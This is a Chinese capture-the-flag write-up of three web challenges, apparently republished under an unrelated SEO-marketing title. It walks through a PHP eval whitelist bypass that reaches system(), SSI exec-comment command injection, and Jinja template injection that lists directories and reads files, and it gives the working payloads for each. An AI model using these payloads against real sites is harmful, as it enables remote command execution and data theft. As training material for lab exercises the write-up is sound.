当前位置: 首页 > news >正文

海外网红营销平台seo外链的常见措施

海外网红营销平台,seo外链的常见措施,黄圃网站建设,功能型网站案例第25天#xff08;共3题#xff09; Web [CISCN 2019 初赛]Love Math 打开网站就是一段泄露的源代码#xff1a; ?php error_reporting(0); //听说你很喜欢数学#xff0c;不知道你是否爱它胜过爱flag if(!isset($_GET[c])){show_source(__FILE__); }else{//例子 c…第25天共3题 Web [CISCN 2019 初赛]Love Math 打开网站就是一段泄露的源代码 ?php error_reporting(0); //听说你很喜欢数学不知道你是否爱它胜过爱flag if(!isset($_GET[c])){show_source(__FILE__); }else{//例子 c20-1$content $_GET[c];if (strlen($content) 80) {die(太长了不会算);}$blacklist [ , \t, \r, \n,\, , , \[, \]];foreach ($blacklist as $blackitem) {if (preg_match(/ . $blackitem . /m, $content)) {die(请不要输入奇奇怪怪的字符);}}//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist [abs, acos, acosh, asin, asinh, atan2, atan, atanh, base_convert, bindec, ceil, cos, cosh, decbin, dechex, decoct, deg2rad, exp, expm1, floor, fmod, getrandmax, hexdec, hypot, is_finite, is_infinite, is_nan, lcg_value, log10, log1p, log, max, min, mt_getrandmax, mt_rand, mt_srand, octdec, pi, pow, rad2deg, rand, round, sin, sinh, sqrt, srand, tan, tanh];preg_match_all(/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/, $content, $used_funcs); foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die(请不要输入奇奇怪怪的函数);}}//帮你算出答案eval(echo .$content.;); }需要传递的是GET方法的c对其过滤一些特殊字符并且限制长度小于80而且只能用到白名单里包含的数学函数 这里我们考虑传进去一个新的GET方法让这个方法执行我们的命令 首先需要构造_GET参数我们需要一个函数能够把数字转成字符也就是hex2bin函数 hex2bin函数可以用于将十六进制值的字符串转换为ASCII字符 但是白名单没有这个函数但是有base_convert函数 base_convert 是 PHP 中用于在任意进制之间转换数字的函数。它的语法是 base_convert(number, frombase, tobase)其中 number 是要转换的数字frombase 是数字原来的进制tobase 是要转换到的进制。 通过该函数获得hex2binPHP中可以用字符串等效函数名 base_convert(37907361743,10,36) //37907361743是hex2bin是36进制转换到10进制的结果也就是逆转换就能得到hex2bin了接下来获得_GET base_convert(37907361743,10,36)(dechex(1598506324)) //这里dechex将参数转为16进制hex2bin再将16进制转换成_GET这几个字符dechex函数用于将给定的十进制数转换为等效的十六进制数 直接用_GET是不行的因为只有$_GET才能传递GET参数因此这里尝试在_GET前加上$ 由于 $abs _GET 即$absbase_convert(37907361743,10,36)(dechex(1598506324))$$abs $_GET //abs是白名单里的一个函数这里当作了变量名来使用然后是完整的Payload ?c$absbase_convert(37907361743,10,36)(dechex(1598506324));$$abs{1}($$abs{2})1system2ls总共有3个参数c、1 和 2用数字作参数名是因为字母被过滤了所以system和接下来的ls等命令都要用新的GET参数值传进去这样才不用接受检查了 上面的Payload翻译过来其实就是 ?c$_GET[system]($_GET[ls]); 也就是 system(ls);[BJDCTF2020]EasySearch 一个登录网页查看题解得知有一个泄露的index.php.swp访问即可查看 ?phpob_start();function get_hash(){$chars ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!#$%^*()-;$random $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times$content uniqid().$random;return sha1($content); }header(Content-Type: text/html;charsetutf-8);***if(isset($_POST[username]) and $_POST[username] ! ){$admin 6d0bc1;if ( $admin substr(md5($_POST[password]),0,6)) {echo scriptalert([] Welcome to manage system)/script;$file_shtml public/.get_hash()..shtml;$shtml fopen($file_shtml, w) or die(Unable to open file!);$text ******h1Hello,.$_POST[username]./h1******;fwrite($shtml,$text);fclose($shtml);***echo [!] Header error ...;} else {echo scriptalert([!] Failed)/script;}else{***}*** ?主要就是密码的MD5值的前六位需要等于6d0bc1 以下满足条件 2020666 2305004 9162671 成功登录在网络一栏发现新的内容 public/89842b160800cfbe91016e437baacc9d95d242a1.shtmlshtml有Apache SSI 远程命令执行漏洞 shtml是一种用于SSI技术的文件——Server Side Include–SSI。 SSI是为WEB服务器提供的一套命令这些命令只要直接嵌入到HTML文档的注释内容之中即可 访问http://5aea4255-5009-411e-b8e1-298b79c2dc53.node5.buuoj.cn:81/public/89842b160800cfbe91016e437baacc9d95d242a1.shtml 容易产生ssi注入此处注入格式为!--#exec cmd命令 -- 注意注入的页面不是这个shtml这个页面是用来看回显内容的要注入的话得从最开始的首页 !--#exec cmdls ../-- 现在这个页面注入然后按照刚刚的流程找到shtml的地址每次注入地址都会改变然后访问就能看到内容 这里访问flag_990c66bf85a09c664f0b6741840499b2 即!--#exec cmdcat ../flag_990c66bf85a09c664f0b6741840499b2-- 拿到flag [GYCTF2020]FlaskApp 是一个Flask的网站猜测存在SSTI 提示里是 加密页面只是简单的将输入内容进行Base64编码后返回 而解密页面则会将编码内容解码并且进行模板渲染输出存在SSTI 解密页面随便输入123就爆出了错误页面说明开启了Debug模式 同时能看到app.py的一部分代码 app.route(/decode,methods[POST,GET]) def decode():if request.values.get(text) :text request.values.get(text)text_decode base64.b64decode(text.encode())tmp 结果 {0}.format(text_decode.decode())if waf(tmp) :flash(no no no !!)return redirect(url_for(decode))res render_template_string(tmp) //说明存在模板注入尝试 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__catch_warnings %}{{ c.__init__.__globals__[__builtins__].open(app.py,r).read() }}{% endif %} {% endfor %}通过__builtins__下的open函数执行读取app.py的命令 builtins 内建模块的引用在任何地方都是可见的(包括全局)每个 Python 脚本都会自动加载这个模块包括了很多强大的 built-in 函数例如eval, exec, open等 注意要先加密再复制编码后的内容来解密 WAF代码 def waf(str):black_list [#34;flag#34;,#34;os#34;,#34;system#34;,#34;popen#34;,#34;import#34;,#34;eval#34;,#34;chr#34;,#34;request#34;, #34;subprocess#34;,#34;commands#34;,#34;socket#34;,#34;hex#34;,#34;base64#34;,#34;*#34;,#34;?#34;]for x in black_list :if x in str.lower() :return 1过滤了flag、os、system、popen、eval等 但是可以通过拼接的方式绕过检测 先查看当前目录 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ catch_warnings %}{{c.__init__.__globals__[__builtins__][__import__](os).listdir(/)}}{% endif %} {% endfor%}发现了this_is_the_flag.txt {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ catch_warnings %}{{c.__init__.__globals__[__builtins__].open(/this_is_the_flag.txt,r).read()}}{% endif %} {% endfor%}拿到flag
http://www.zqtcl.cn/news/710949/

相关文章:

  • mysql数据库做网站广州网站seo地址
  • 福建省住房和城乡建设厅网站电话网站开发项目步骤
  • 网站注册域名多少钱淘宝网商城
  • 做架构图的网站网站和网店的区别
  • 做红包网站简单个人网站设计
  • 新手学做网站pdf手wordpress修改搜索框
  • 做湲兔费网站视颍如何通过查询网站注册时间
  • 重庆cms建站模板南通网站建设推广优化
  • 合肥网站建设的公司新闻类网站如何做量化统计
  • 好用的在线地图网站十六局集团门户网
  • 网站开发数据库连接失败广州网站建站平台
  • 鄂尔多斯北京网站建设加盟网站建设的内容
  • 网站 被 抄袭不属于营销型网站的特点
  • 浙江英文网站建设互联网公司排名2021完整版
  • 完美代码的网站python开发工具
  • 餐饮网站开发参考文献网站建设500错误代码
  • 网站开发关键技术网站自动推广软件免费
  • 前端学习网站南阳东莞网站建设公司哪家好
  • 关于做网站的了解点wordpress小程序插曲
  • PHP网站开发与管理设计心得个人可以做聊天网站备案吗
  • 开公司可以在哪些网站做推广上海画册设计
  • 成都高新区规划建设局网站网络营销方式有哪些?举例说明
  • 国家企业信用公信系统入口seo服务
  • 个人网站网页模板室内装修设计自学软件
  • 什么网站可以做告白的网页网站模板套用湖南岚鸿
  • 膜结构网站推广怎么做怎样把网站上传到空间
  • 三维网站是怎么做的商城网站 运营
  • 程序员网站开发框架无锡网络公司网站建设app微信公众号平
  • 中关村网站建设网络营销策划书范文
  • 电商网站建设与课程设计科技网站模版